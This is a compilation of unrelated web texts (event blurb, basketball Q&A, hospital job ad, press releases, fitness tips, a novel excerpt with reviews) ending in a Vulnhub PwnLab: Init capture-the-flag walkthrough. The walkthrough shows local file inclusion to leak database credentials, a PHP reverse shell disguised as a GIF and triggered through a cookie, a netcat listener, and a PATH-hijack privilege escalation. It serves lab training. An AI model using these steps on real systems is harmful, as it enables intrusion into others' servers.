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Launching on November 22, the UNDR ctrl Summer Rooftop Series has been quite the revelation, bringing an inspiring mix of house and disco and some very special guests to the Kings Cross Hotel Rooftop each and every Saturday night.
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• Q. — What about the boys?
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• Q — What are Kansas State's chances to win the Big 12 with Dean Wade out for 6 to 8 weeks?
• A.M. — This is a huge blow to a team that already hasn't played up to expectations as it has yet to register what could be considered a quality win. Take out the 6-9 Wade and you don't have a lot of size. Remember, Kansas State was having just an OK season last year when it got hot in the NCAA Tournament, aided by a favorable draw that saw it play a No. 16 seed in the second round after Virginia lost and then played a overrated Kentucky team. The Wildcats have to get something big done this year because coach Bruce Weber loses a big senior class after this season.
• Q. — Kansas is still undefeated and ranked No. 1. Thoughts?
• AM. — It's never pretty, but the bottom line is the Jayhawks are 9-0. Dedric Lawson has been a double-double machine, Lagerald Vick has been big-time in big games and the rest of the Jayhawks have been wildly inconsistent. With two freshmen starting (at least for now), this team is going to experience a lot of highs as well as a lot of lows. It will help that it appears the Big 12 is down, especially now with Dean Wade out for Kansas State. The Jayhawks should make it 15 Big 12 titles in a row, but it's definitely a year of transition in the conference.


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Assists in the implementation of interventions and activities for assigned patients on the inpatient psychiatric units or in the outpatient setting. Follows established policies and procedures to ensure accurate and consistent quality of patient care. Maintains a therapeutic relationship with patients at all times and ensures confidentiality and adherence to professional boundaries. Uses professional training and expertise in psychology as a framework for leading or co-leading therapeutic groups.
Communicates with patients, both individually and in group settings, and provides feedback and treatment evaluations on an ongoing basis. Provides patients with instructions which will allow them to participate in their treatment plan. Assesses patient therapy on an on-going basis to determine the patient's response to the treatment plan and to identify issues and appropriate modifications. Takes vital signs and ensures prompt and accurate documentation in the patient's chart.
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- Division: Emory Univ Hospital
- Campus Location : Atlanta, GA, 30329
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- Job Type: Regular Full-Time
- Job Number: 37796
- Job Category: Behavioral Health, Counseling & Clergy
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Works with patients to establish clear and reasonable limits and expectations in accordance with the treatment plan. Observes the activities and behaviors of patients in accordance with the prescribed individual treatment plan. Communicates patient's needs and responses through appropriate verbal and written communications with other members of the health care team. Evaluates critical and crises situations and initiates an immediate response.
Works with manager to formulate plan for professional development. Attends educational in-services as appropriate. Participates in professional activities and organizations to maintain knowledge of current trends, practices, and developments. Documents patient interventions and responds according to department protocol; ensures that observations are accurately recorded on the patient's chart.
Works collaboratively with other members of the health care team to determine the appropriateness of the intervention and the prescribed therapy. If in the inpatient setting: Makes scheduled patient rounds to ensure the general well-being of residents. Accompanies patients who have been granted approval to leave the unit temporarily. Performs other related duties as required.
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A bachelor's degree in Psychology, Social Work, or a related field. One year of inpatient or outpatient psychiatric experience preferred. Must be physically able to lift and restrain agitated or violent patients. PHYSICAL REQUIREMENTS (Medium): 20-50 lbs; 0-33% of the work day (occasionally); 11-25 lbs, 34-66% of the workday (frequently); 01-10 lbs, 67-100% of the workday (constantly); Lifting 50 lbs max; Carrying of objects up to 25 lbs; Occasional to frequent standing & walking, Occasional sitting, Close eye work (computers, typing, reading, writing), Physical demands may vary depending on assigned work area and work tasks.
ENVIRONMENTAL FACTORS: Factors affecting environment conditions may vary depending on the assigned work area and tasks. Environmental exposures include, but are not limited to: Blood-borne pathogen exposure Bio-hazardous waste Chemicals/gases/fumes/vapors Communicable diseases Electrical shock , Floor Surfaces, Hot/Cold Temperatures, Indoor/Outdoor conditions, Latex, Lighting, Patient care/handling injuries, Radiation , Shift work, Travel may be required. Use of personal protective equipment, including respirators, environmental conditions may vary depending on assigned work area and work tasks.


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TAMPA, Florida, June 20, 2017 /PRNewswire/ --
MagneGas Corporation ("MagneGas" or the "Company") (MNGA), a leading industrial clean technology company in the renewable resources and environmental solutions industries, announced today that it has hired a key sales executive from a Fortune 500 supply chain solutions company. This executive is anticipated to bring up to 80 distinct automotive fabrication and manufacturing facility relationships to MagneGas over the next 24 to 36 months. These relationships are expected to help drive sales including a mixture of proprietary sales of MagenGas2®, as well as traditional industrial gases and welding supplies-typically required by metal fabricating facilities in the global automotive industries. It is estimated that these facilities have an annual spend on such goods of $75,000 to $100,000 each. This executive hire is an extension of the Company's continued focus on leveraging proprietary technology to effectively compete in the industrial gas and welding supply industry.
"This hire represents a significant step towards much broader penetration of the global automotive industry," commented Ermanno Santilli, Chief Executive Officer of MagneGas Corporation. "We firmly believe that our proprietary technology, MagenGas2®, is a critical product differentiator that enables our sales team to gain access to clients, big and small. Provided we are able to successfully leverage these opportunities, we aim to provide clients with a one stop shop solution, including a wide range of additional high-margin, non-proprietary products that generate a high degree of recurring revenues. This is a very exciting step in the development of our sales capabilities."
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This press release contains forward-looking statements as defined within Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. These statements relate to future events, including our ability to raise capital, or to our future financial performance, and involve known and unknown risks, uncertainties and other factors that may cause our actual results, levels of activity, performance, or achievements to be materially different from any future results, levels of activity, performance or achievements expressed or implied by these forward-looking statements. You should not place undue reliance on forward-looking statements since they involve known and unknown risks, uncertainties and other factors which are, in some cases, beyond our control and which could, and likely will, materially affect actual results, levels of activity, performance or achievements. Any forward-looking statement reflects our current views with respect to future events and is subject to these and other risks, uncertainties and assumptions relating to our operations, results of operations, growth strategy and liquidity. We assume no obligation to publicly update or revise these forward-looking statements for any reason, or to update the reasons actual results could differ materially from those anticipated in these forward-looking statements, even if new information becomes available in the future. The Company is currently using virgin vegetable oil to produce fuel while it configures its systems to properly process waste within local regulatory requirements.
For a discussion of these risks and uncertainties, please see our filings with the Securities and Exchange Commission. Our public filings with the SEC are available from commercial document retrieval services and at the website maintained by the SEC at http://www.sec.gov.
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As transport equipment rentals business, Rentco, moves into its 25th year of nationwide operations, with a truck and trailer fleet nearing 2,500 units, Bob Shier shares what it takes to excel in the industry.
In 1994, the Shier family realised that there was a gap in Perth's rentals and leasing market, specifically for prime movers and trailing equipment. There simply weren't many short-term rental options available at the time to satisfy the operational requirements of start-up transport businesses throughout Western Australia.
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As a testament to its family-focused ethos, Rentco maintains longstanding professional relationships with many of its valued customers, many dating back to the 90s. Over the years, the evolution of road transport equipment has been impressive, especially given the rise of Performance-Based Standards (PBS) and the push for more productive and safer equipment, according to Bob. "In the beginning, it was flat tops, tautliners, skels and drop deck trailers – the fleet now has over 70 trailer variants including Quad-Quad Super B combinations and super lightweight B-double skel sets. Rentco strives to remain at the forefront of innovation by supplying semi-trailers spec'd for efficiency and performance gains."
Keen for a more global perspective on the commercial vehicle industry front, Bob recently travelled to Europe and the US. "It was interesting to see what is happening overseas because we need to ensure we remain at the forefront of what will happen next in the market," he says – explaining that while Australia is leading the world in many areas, there are new, smart, technologies and clever ideas that should be implemented locally. "If we are not learning, we are standing still. There are rental fleets in the US totalling in excess of 60,000 trailers, with total trailer rental fleets combined across the US of 250,000. Rentco is heavily investing in technology as the industry demands 'real time data', which requires a meticulously-serviced fleet as well as the appropriate technology available to ensure improved safety for vehicle operators."
Bob says that Rentco provides detailed reporting to empower fleet operators so that they can manage fleet utilisation, ensuring equipment is not sitting idle. "If we are not partnering with our customers to drive cost efficiencies in their business, then we are not doing our bit in the relationship. Rentco ensures equipment services are tracked and are carried out on time and correctly because equipment must be fit for purpose and must be in excellent/safe working condition at all times."
Aside from developments in road transport equipment design, Bob emphasises that the inclusion of Rentraxx has been big. "The ability to 'real time' track our equipment, to be able to integrate our tracking system with our customer's systems is an exciting proposition – we have completed testing with amazing results and are now fitting this equipment progressively to our entire hire fleet.
Our customers will be able to identify locations of trucks and trailers, routes taken, distances travelled and service alerts, all from their PCs in the office. This equipment can be added to our customers owned fleet as a standalone package if required, we have worked hard and invested heavily in Rentraxx – it will be a value add and will enhance our partnership with our customer base."
Bob has noticed a change in industry trends: transport contracts no longer seem to be five-year-plus terms. "Manufacturers seem to want short-term contracts to continually test the market for pricing – this makes it difficult for transport companies to source finance for new equipment on short-term deals," he says – explaining that Rentco builds equipment specific to the needs of the business, including branding. "Rentco is a solution-based, customer-centric family company. Our tracking systems will continue to evolve, and we aim to continue to be easy to deal with while providing cost-efficient solutions."
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"Our commercial team are industry-proven to have performed and achieved at the highest level, and we select the best of the best and deliver that expertise to our customer base," says Rentco Managing Director, Bob Shier.
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Rentco's fleet is diverse, with over 2,000 trailers spread nationally, in at least 70 different variants. With the addition of rigid-bodied trucks and buses in multiple configurations and dual-cab mine spec'd utes, the transport equipment rentals business aims to be a multi-level supplier to the commercial vehicle industry Australia-wide.


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When we look at athletes and movie stars who are fit we think how nice it would be to have tight abs. When people think about exercising for tight abs the exercises that come to mind are sit ups and crunches.
If you are obese it does not matter how strong your abdominal muscles are. No one can see them if they are covered by a layer of fat. If you want to get great looking abs you need to not only exercise, you also need to diet. You need to combine the exercises that will tone your abs as well as help increase your heart rate and lose fat with a healthy diet that will let you lose some pounds. You will have added challenges if you are obese, but there are some abdominal exercises for obese people that can help you.
Your abdominal area consists of several different muscle groups. You have lower muscles, upper muscles and oblique (side) muscles. You will need to do different exercises to target all these areas.
It may be difficult for you to get down on the floor if you are very overweight. Don't be discouraged. There are some easy ab workouts that you can do standing up. This way you will save wear and tear on your back and knees while still getting an effective workout.
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- Stand with your feet shoulder width apart. Raise your arms straight above your head and then slowly lower your arms while at the same time raising one knee. Keep your leg and arms at a 90-degree angle. Now put the first leg down while raising your arms back up and then raise the other knee. Do at least 30 sets on each side.
- Stand with your legs shoulder width apart. Hold a 10 pound (or whatever weight you can handle) in each hand. Slowly lean to one side keeping your legs straight. You should only be using your side (obliques) muscles when you do this move. After you have completed 20 reps on one side, do 20 reps on the other side.
- Stand with your legs shoulder width apart. Take a step forward with one leg and then carefully raise this leg a few inches off the floor. Slowly make circles using just your foot. Keep your leg still and straight. Make 20 circles in one direction and then using the same foot circle 20 times in the opposite direction. Alternate with the other leg and do the same exercises with the second foot.
It may be hard to follow an exercise simply by reading how to do it. These standing abdominal exercises can be a good way for you to start. Even if you are overweight or obese it is important to tone your ab muscles. Be sure to consult with your medical professional before starting any exercise program. You might find it beneficial to hire a personal trainer who can watch and make sure you are using proper form and are not in danger of injuring yourself and slowing down your progress.


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Coordinates: 51°37′52″S 59°10′01″W / 51.631°S 59.167°W New Haven is an inlet in the Falkland Islands. It is situated on the west coast of East Falkland, facing Falkland Sound, the stretch of water which divides East Falkland from West Falkland.
New Haven has become notable as the eastern terminus of the new ferry service linking the two islands. A modern roll-on-roll-off ferry terminal was constructed at New Haven at a cost of £1.5 million—the largest project so far undertaken by the Public Works Department of the Falkland Islands Government [1]. The terminal was opened in a ceremony in November 2008.
The ferry serving the route is the MV Concordia Bay, which is based at New Haven. It runs a regular service from the terminal to Port Howard on West Falkland, carrying lorries, cars and people. The ferry is owned and operated by Workboat Services Ltd.
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Take Your Pleasure Where You Find It: A Novel
Paperback(First Edition)
Thirty years ago, three high school friends were closer than sisters, but a dark, emotional secret tore them apart. Now, back together at their high school reunion, each of them are tormented and haunted that their greatest fear will come to light.
Renetta Jones' childhood had been anything but happy. After her mother walked out on them, Renetta was left to live with an unsympathetic father and her own insecurities. She fell for the first man to come along after high school, and spent years in an abusive marriage with a man named Vincent, who used her secret to control and punish her. That is, until he suffered an untimely stroke, under questionable circumstances.
Phyllis Neville sacrificed everything for her career, including her marriage to a man she'll love forever, and a positive relationship with her adult daughter. But when she is passed over for the promotion of a lifetime, it's just the first thing to go wrong in her once perfect life as the past rears its ugly head.
Freddie Palmer is bored by the routine that her life has become. Married thirty years to her husband, Don, the two of them have become empty-nesters and Freddie is anxious to start the next phase of her life. After meeting successful author, Bianca Hightower, at a local bookstore signing, Freddie decides to take her passion for reading to the next level and signs up for writing classes being taught by her new author friend. But Bianca sees potential in Freddie that transcends simply writing, and introduces her to the kinds of experiences a woman like Freddie never even knew existed. But when the past catches up to her, it becomes one more dark secret she's not sure she'll be able to keep.
Tasha Darden has lived her life in foster care, and has finally gathered up the courage to try to find her birth mother. One of the three women holds the answers she seeks and she will stop at nothing until she gets them.
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|St. Martin's Press
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|5.25(w) x 8.15(h) x 0.80(d)
About the Author
J.D. MASON is the author of That Devil's No Friend Of Mine, You Gotta Sin To Get Saved, This Fire Down In My Soul, Don't Want No Sugar, And On The Eighth Day She Rested, and One Day I Saw A Black King. She lives in Denver, Colorado with her two children.
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In the hour since she'd first walked through the doors of her old high school gymnasium to attend her thirty-year high school reunion, Phyllis Neville had consumed two dirty martinis, six olives, and gushed (or pretended to gush) over at least half a dozen photographs of ugly children, approximately twelve reasonably attractive grandchildren, and one great-grandchild who bore a striking resemblance to Bert from Sesame Street. Thank God for name tags and bifocal contact lenses, because without both, she wouldn't have known who any of these people were.
Life-size photographs from the yearbook of their former, teenage selves flashed across a giant screen—er, bedsheet?—against one of the walls. Old and bloated bodies swayed from side to side on the dance floor, looking more like one giant wave of movement than individual dancers ebbing and flowing to the music of "Use ta Be My Girl" by the O'Jays blaring from the speakers, and balding heads reflected colored light under the giant disco ball twirling up above.
She'd just gotten here but had already decided that she would spend the next half hour working on the drunk-to-end-all-drunks before it was all said and done.
Why in the world had she decided to come? She wondered, frowning at the question posed in private. She had never come to any of the reunions, but for some unknown and mystical reason, she'd made the conscious effort to shop for and actually purchase a dress and shoes, get her hair done, and even get a mani-pedi, all in preparation to come to this event, which she knew she'd hate as soon as she'd walked through the doors, and dammit—she was right.
"This is stupid," she muttered under her breath, deciding right then and there that she'd had enough. Phyllis would finish this third martini she'd just ordered and these last three olives and sneak out without a word to anyone, stealthy and unnoticed, like a ninja. She chugged down her drink like it was milk and gobbled up her olives, then she happened to glance across the room. Her heart sank into the souls of her Christian Louboutin pumps, and she nearly choked to death on that damn olive when she saw him. Marcus. Her ex-husband, Marcus, and the father of her child. In fact, that child, their daughter Abby, had been the one to let it slip that Marcus would be here tonight, which was the real reason Phyllis had decided to come to this thing in the first place, despite her incessant denials.
He spotted her, too, and the expression on his face was indescribable, and not necessarily good. Phyllis made her way through the crowd toward him.
Marcus scratched his head. "I uh . . . didn't expect to see you here."
Phyllis tried not to stare, but even after three decades, he was still the finest boy in the school. He wore his hair cut so close to the scalp that if it weren't for the gray sprinkled throughout it, he'd have looked bald. The fine gray-and-black texture of his hair continued down the sides of his face to a perfectly trimmed beard, and dark, penetrating eyes complimented his smooth cocoa brown complexion, but other than that, he looked alright.
"I thought you didn't dig things like this," he continued, unknowingly breaking through her trance.
"I—well, uh . . . ," she stammered. "I don't, normally."
He nodded. She nodded. He shifted. She shifted.
Finally, he broke the awkward silence between them. "You look good, Phyllis. Nice."
She smiled. Hell. She blushed, but not a lot. "Thank you, Marcus. So do you."
He looked better than good. He looked delicious.
They had been inseparable from the time they'd met as sophomores in high school until their senior year. The world came to a screeching halt for Phyllis when they broke up. After that, she swore, in her melodramatic teenage way, that she'd never love again. If she couldn't have Marcus, then Phyllis didn't want anyone. Four months after graduation, they saw each other on the campus at Colorado State University and quickly rekindled their old flame. Phyllis had been blessed by the gods and ended up with the man of her dreams after all. At the end of their sophomore year, they got married, and it was bliss. Six months later, Phyllis was pregnant. That was where things got a little murky for her. From that point on, the life that she'd planned for herself—getting her BA, then her MBA—all sort of went south, and all of a sudden, ambitious, career-driven, future first African American female president of the world was somebody's wife and soon to be somebody's mother, and looking back, she really hadn't prepared herself for either.
The haunting lyrics of "their song" echoed through the tunnels of her memories.
You're still all I need to get by, Marcus.
The words were on the tip of her tongue, like they were every time she saw that man. Of course pride wouldn't dare let her repeat what she felt. Pride, and of course, what's-her-name.
"There you are." The new Mrs. Neville practically tackled the man, wrapped her overtoned arms in a vice grip around his waist, planted a slick, saliva-sloshing kiss on his lips, and glared at Phyllis with her evil python eyes. "Phyllis." It was a statement. "Wow. Abby said you weren't coming to the reunion."
Abby is about as clueless as her father, Phyllis wanted to say, but thought better of it.
Phyllis smiled and stuck out her ample chest. Wifey was as flat as a board. Yeah, the woman might've very well had a six-pack underneath that dress, but she knew as well as Phyllis that Marcus was a breast man. "Well, here I am. Good to see you too, Sharon."
She was younger than him—them, by ten years. In those cheap sling-backs, she stood nearly as tall as he did, and that was the only reason, Phyllis had always concluded, that the woman didn't look more like a linebacker. Phyllis sipped from her glass and sized up the homegrown weave, grimaced internally at the atrocious shade of pink that cow had spread across that gaping hole on her face that she called a mouth, and shuddered at the ill-fitting and tasteless sheath she'd thrown on for the occasion. Walmart? Target? Ross. Yes. It had to be from Ross. Not that she'd know anything about that personally. Phyllis only shopped at places like that for bedding and towels. Never in a million years would she have been caught dead actually wearing a cocktail dress from a place like that. But then again—she wasn't Sharon.
Standing there with the two of them canoodling like they were, Phyllis felt any ounce of love she still had for the man slowly starting to slip away, sort of like the bead of sweat rolling down the middle of her back and dissolving into the band of her thong. It was a nasty, nasty feeling, and the time had come for her to leave.
"Well, I hope the two of you have a lovely evening," she said, sounding smug. "I uh . . . I've gotta pee." She smiled.
With that she turned and headed straight for the ladies' room, and after that, she was getting the hell out of this joint.
It was her. Freddie Palmer had thought she'd seen Phyllis earlier, but it wasn't until she spotted her talking to Marcus Neville that she knew for certain.
"Jesus," she mouthed, watching as Phyllis made her way through the crowd toward the ladies' room.
"What?" Don, her husband, asked. The two of them had been shaking their groove things on the dance floor when Freddie suddenly stopped.
Her lips moved, but it took a moment to answer him. "Phyllis," she said, stunned, still staring in her direction.
Don leaned closer and shouted over the music. "Who?"
"I think I just saw Phyllis. Phyllis Whittaker," she managed to shout back.
"Oh! Well, come on," he tugged on her elbow. "Let's go say hey!"
Freddie's feet felt like they were planted in the wooden floor and she didn't budge. Doubt stopped her. Uncertainty stranded her right where she stood, and her thoughts began bumping into each other as she agonized over what she'd say to the woman.
"Hello, Phyllis. It's me, Freddie. Say, do you ever think about that kid we dropped off in that emergency room that night?" Or, "Yo, girl. Whassup? So about that baby . . . you know the one . . ."
Guilty tears clouded her eyes and broke her heart. Freddie had done a damn good job all these years, putting the past behind her. She'd gone on with her life, married her high school sweetheart, had kids, even had grandchildren now, without so much as skipping a beat about that night she shared with her two best friends more than three decades ago. And shame on her. Shame on all of them for what they'd done.
"What's wrong? Come on, Freddie," Don insisted.
Panic quickly set in and Freddie realized that she needed to get rid of Don before she started to look like a crazy woman. "Can you go and get me a glass of wine, honey?"
He looked confused. "You okay?"
She nodded and smiled. "I just need a glass of wine, Don."
He shrugged and disappeared into the crowd.
Freddie slowly turned around and stared straight into the eyes of the woman behind her. It took a moment to actually recognize her, but when she did, the sight of her took Freddie's breath away, because the woman hardly looked like her former self at all. It was her smile that gave her away.
"Renetta," Freddie said warmly.
Neither of them spoke for what felt like an eternity. They simply stared at each other, reached out and took hold of each other's hands, and squeezed appreciatively.
They hadn't seen or spoken to each other since before graduation, and after school ended, they'd each gone their separate ways without a word.
"How have you been?" Renetta asked with tears in her eyes.
Freddie grinned. "I've been good. Good. And what about you?"
Renetta nodded and then laughed. She hadn't realized how much she'd missed Freddie until now. Her memories skipped past the darkest moments of her life and lighted on happier times shared between two young girls laughing, playing, gossiping, and loving each other more like they were sisters than friends.
"Was that Don I saw you dropping it like it was hot with on the dance floor?" She laughed.
Freddie shook her head. "Girl, yes. I dropped it just fine, but he had to help me get it back up."
Renetta stared sincerely at her friend. "I'm sorry I missed the wedding."
"Me too," Freddie said softly. "So, what about you?" she examined Renetta's left hand. "I don't see a ring on your finger. Not married?"
"Not exactly," she smiled.
After studying her face for a moment, Freddie concluded that now was not the time to probe.
"It's complicated," Renetta went on to say.
"Sometimes, I guess it is."
Despite the fact that it had been years since they'd seen each other, Renetta could always read Freddie like a book. The light in Freddie's eyes seemed to fade, and it didn't take a rocket scientist to know why.
"I know what you're thinking," Renetta said, smiling, and blinked away her own tears. "Believe me, I know, but now is not the time, Freddie," she warned gently.
"When is the time, Renetta?"
Renetta sighed. "How about never?" She smiled sheepishly. "Too much to ask?"
"You know it is," Freddie responded.
"I know, but not tonight, Freddie, and not here. There's so much to catch up on. Good things, like . . . Did you and Don go overseas after you got married? Tell me about some of the places you've lived. How are your folks?"
Freddie didn't respond.
"We can talk about it later," Renetta said calmly.
"It's late enough already, Renetta. It's been thirty years, and we've never actually spoken about what happened."
"Talking about it's not going to change it."
"No, it won't but—"
"Call me." Renetta reached into her purse and pulled out a business card and handed it to her. "We'll get together, Freddie. And we'll talk until we lose our voices, okay?"
Renetta was about to walk away when she spotted Phyllis coming out of the ladies' room. Freddie turned in time to see her, too, and the three of them stood frozen, staring back and forth between each other. Freddie walked toward her. "Phyllis," she mouthed, smiling and as happy to see her as she'd been to see Renetta. "Phyllis," she called out again.
Phyllis turned quickly and hurried out of the building without ever saying a word.
No! No! No! She was not going to be dragged back into that mess! Phyllis drove home, clenching the steering wheel. Screeeeeech! "Oh!" she gasped, coming within inches of hitting another car at an intersection. Tears suddenly streamed down her cheeks. Phyllis composed herself enough to pull over to the side of the road to try to catch her breath. Tonight hadn't been her night. But that was putting it mildly. Seeing Marcus with his wife had been bad enough. Seeing Freddie Banks and Renetta Smith—
Phyllis had made up her mind a long time ago to stay away from both of them. Too much had happened . . . terrible things had happened, and she'd promised herself to leave the past where it belonged.
Phyllis took slow, deep breaths to calm herself and clear her thoughts. Thank goodness she'd seen them before they could get to her. Thank goodness she'd left before either of them had a chance to say a word to her. The three of them had gone their separate ways years ago. Thank goodness for that, too.
Excerpted from Take Your Pleasure Where You Find It by .
Copyright © 2010 by J. D. Mason.
Published in March 2010 by St. Martin's Press.
All rights reserved. This work is protected under copyright laws and reproduction is strictly prohibited. Permission to reproduce the material in any manner or medium must be secured from the Publisher.
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Three friends, who have grown apart over the years, find themselves torn between the past and the present and a secret forever binding them. With their secret on the verge of being exposed, each woman must come to grips with their actions and prepare for any consequences. With her distinctive and witty style, author J.D. Mason unleashes the pain, regrets and emotional journey of four individuals tied together by one decision. She established intrigue at the outset, and then manages to sustain it right through to a satisfying conclusion. She does a fine job of leaving you guessing until the end the identity in question. Another solid performance, Mason's latest novel only strengthens her reputation as an unique and creative voice and one of my favorite authors. Fans of Mason's work will be delighted with "Take Your Pleasure Where You Find It." Easily recommendable. Reviewed by: Toni
I enjoy this author and have not been disappointed.
I got this on a playaway and the author is from my home town Denver so I was interested. There are several parts of this book that could have been left out- specifically Freddie and her kinky trist with a judge. This book would have been more interesting developing Freddie's husband Don -instead of the way over the top freak show with the judge. Also- it was just too much time for Tasha to approach the 3 women she was looking for. Too mamny grudges- and too much holding on. Not good !
The plot was intriguing and interestingly written. I spent a lot of time trying to guess who was the mother. I enjoyed most of the character development but don't get the ending.
I was not impress with this book as I had been from the previsous by this author. It was just to busy and so unreal.
In the late 1970s in high school, Renetta, Phyllis and Freddie became the best friends. Everyone knew them as the Tres Amigas. Then something happened to destroy their friendships as they left behind a newborn in the emergency room. Over the next three decades, Renetta married a nasty person Vincent who used the secret as a weapon against her; until he suffered a questionable stroke. Phyllis put her career over love and family until she failed to get the promotion she expected which shattered her esteem. Freddie is married to Don, but feels the empty nest syndrome of three adult kids having flown away so she takes writing classes under Bianca Hightower who sees more than just a potentially good writer. Tasha Darden grew up in foster care mostly with disgusting adults after being abandoned in an emergency room thirty years ago. When the only caring foster mom she ever had died, Tasha decides it is time to hire a detective to find her biological mother to ask why. Her sleuth has three prime candidates: the Tres Amigas. This is a superb character study of friendship and redemption with the three BFFs and the one offspring all coming across fully developed yet different. Readers will appreciate Tasha's efforts to meet the mother who abandoned her at birth, wondering who of the Tres Amigas is her mother. Well written, Take Your Pleasure Where You Find It is an engaging tale as the past has caught up with the present. Harriet Klausner


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Welcome to another Vulnhub walkthrough – this time I'll cover the PwnLab: Init CTF game! Let's get hacking
Testlab environment
As ususal, this is my lab setup for this game:
- Virtual Box
- Parrot OS
- Pwnlab: Init Vulnhub image
- Test lab network CIDR
Discovering Vulnhub image
The very first thing we must do is to find the address of the target. Most Vulnhub images comes pre-configured to use DHCP. There are multiple ways to uncover its address. Here are a few options!
This is my preferred way since I am using my own test network.
$ sudo /usr/sbin/netdiscover
Nmap Pingsweep
Another way could be to use Nmap and a ping sweep
$ nmap -sP network_range
Initial portscan
The premiss of the game is we are to know squat about the target. A sane way, albeit noisy, would be to portscan the target from here to eternity.
$ sudo nmap -p1-65535 -A -T4 -sS -oX nmap_scan.xml target_ip
Nmap reveals:
|Apache 2.4.10 (Debian)
|MySQL 5.5.47-0+deb8u1
The server runs a Apache webserver on port 80. Before even touching it using a web browser, let us try to yank some information from it:
$ nikto -output nikto.xml -host target_ip
Nikto found that:
- It hosts a PHP based site
- Cookie PHPSESSID isn't protected by HTTP-Only flag
- config.php is present
- server has directory indexing turned on
- login.php was found
Browsing the host
Visiting the server on port 80 in Firefox reveals that
- It hosts an image uploading/sharing site
- It has a login form
- Page navigation happens through the GET parameter "page" which seems to follow the script name excluding .php file extension
- config.php yields a blank page both when using the "page" parameter and when visiting it directly. Appears to be an inclusion going on here
- It has directory indexing turned on, as seen if visiting the image folder
Attacking page GET parameter
Manual analysis of the web pages on this server gives us an impression that we're dealing with a local file inclusion vulnerability (LFI) here. Given what we know about the page parameter, let's try to get hold of config.php using PHP Filters!
Visiting, with Firefox:
Notice that "resource=config" refers to page name. Just set it to any file you want to read. Looking at "config" gave me this Base64 encoded string:
This decodes to:
<?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?>
Bingo! We got the credentials for the MySQL database.
Logging into MySQL
If we're lucky we can access the database by simply logging into it straight from the command line.
$ mysql --user=root --password --database=Users --host=target_ip
Once in the first thing we'll do is to find out if there are more databases we can breach into. The command "show" databases tells us there are just the stock "information_schema" and "users" available.
Listing available tables in this database tells us there's only one table available.
Looking at the "users" table structure we see it only contain two fields, user and pass.
Selecting all contents in table reveals there are just three users registered. Since all passwords ends in "==" we can deduct they're all Base64 encoded.
Decoded they read:
|Base64 decoded
Logging into the Intranet site
Most likely we can log in to the site using the credentials discovered. I chose to go with "kent" here since he was listed first. After logging in we see that the site doesn't offer much beyond the upload form. So, let's investigate the upload form by utilizing the same PHP filter exploit:
Yet another Base64 encoded string:
Which decodes to
<?php session_start(); if (!isset($_SESSION['user'])) { die('You must be log in.'); } ?>   <form action='' method='post' enctype='multipart/form-data'> <input type='file' name='file' id='file' /> <input type='submit' name='submit' value='Upload'/> </form>   <?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){ die('Error 003'); } $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "
"; } else { die('Error 4'); } } } ?>
From looking at the code we see that someone gave the code some care and attention by not allowing everything and the kitchen sink to be uploaded. Anyway, the upload filter only allows ".jpg", ".jpeg", ".gif" and ".png". This is some important information right here!
Finding out if we can trigger a shell
At this point I am thinking we can hack this server by getting a shell. We know how the upload filter works. I am thinking we could bypass the filter using a PHP script disguised as a GIF! At this stage we must simply find out how to execute a PHP script with a .gif extension. Let's investigate:
Which decodes to:
<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?>   <title>PwnLab Intranet Image Hosting</title>
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 <?php if (isset($_GET['page'])) { include($_GET['page'].".php"); } else { echo "Use this server to upload and share image files inside the intranet"; } ?>
How nice! The developer is using the "lang" cookie for an include! We can most likely use the "lang" cookie to trigger a shell! Let's test if we can manipulate it!
In Burpsuite Repeater:
Creating a shell
Getting hold of a PHP reverse shell is easy. Just copy it from somewhere in Parrot (or Kali), edit and ship it.
$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ mv php-reverse-shell.php shell.gif
After copying it we must make it appear as a proper GIF. Just add the string "GIF98" on the very first line of the shell. Then adjust LHOST and LPORT settings in shell according to taste and save.
Then we upload the shell
We can find the path to our shell by inspecting the source in Firefox
Copy the link and put a reference to it in the "lang" cookie. Burpsuite is great for manipulating cookies:
Just fiddle around until you can make it trigger. Then open a Netcat listener and re-trigger it.
Open a Netcat listener:
$ nc -lvp 7771
If this turns out OK we'll now have a reverse connection! With the reverse connection in place, let's start listing out the home directories:
In this stage it's pointless to list the content of the home folders. Instead let's try to break into some accounts. The very first thing is to issue a simple "su" attempt. We already got the credentials from the database breach:
"su" fails since it must be done from a terminal. Let's try to spawn another shell this time using Python:
$ python -c 'import pty;pty.spawn("/bin/bash")'
That worked. Let's try "su" again:
Nice. Next step is to "su" through all users we got credentials for and list all home directories. Ending up in Kane's home directory we find an executable program ("msgmike").
Running "msgmike" reveals that the program calls "cat" without full path.
This means we can make a version of our own and put it to PATH hoping the program will use that instead. Before doing that, let's see if the program can reveal something else:
Nope. Nothing. Nada. Zip. Let's move on overriding the "cat" command.
Overriding cat command
The overall strategy is to make a simple script that calls "sh" and name this script "cat". We place this script in /tmp and we register the path to it in PATH hoping the "msgmike" program will pick it up.
Making a cat
First we make the new and improved "cat" script and store it in /tmp:
$ echo "#\!/bin/sh" > /tmp/cat $ echo "/bin/sh" >> /tmp/cat
Manipulating path
The we look at what's in PATH. This command can also be used to verify any alterations made is dandy:
$ echo $PATH
Adding /tmp to PATH:
$ export PATH=/tmp:$PATH
Yet another shell
Let's run the msgmike again to see if it picks up the new and improved "cat" command:
Look at that, we're Mike! Let's move over to his home and list the content:
Ok. Obviously we need to analyse that msg2root file
Hey look at that, a command with a format argument. Let's exploit that:
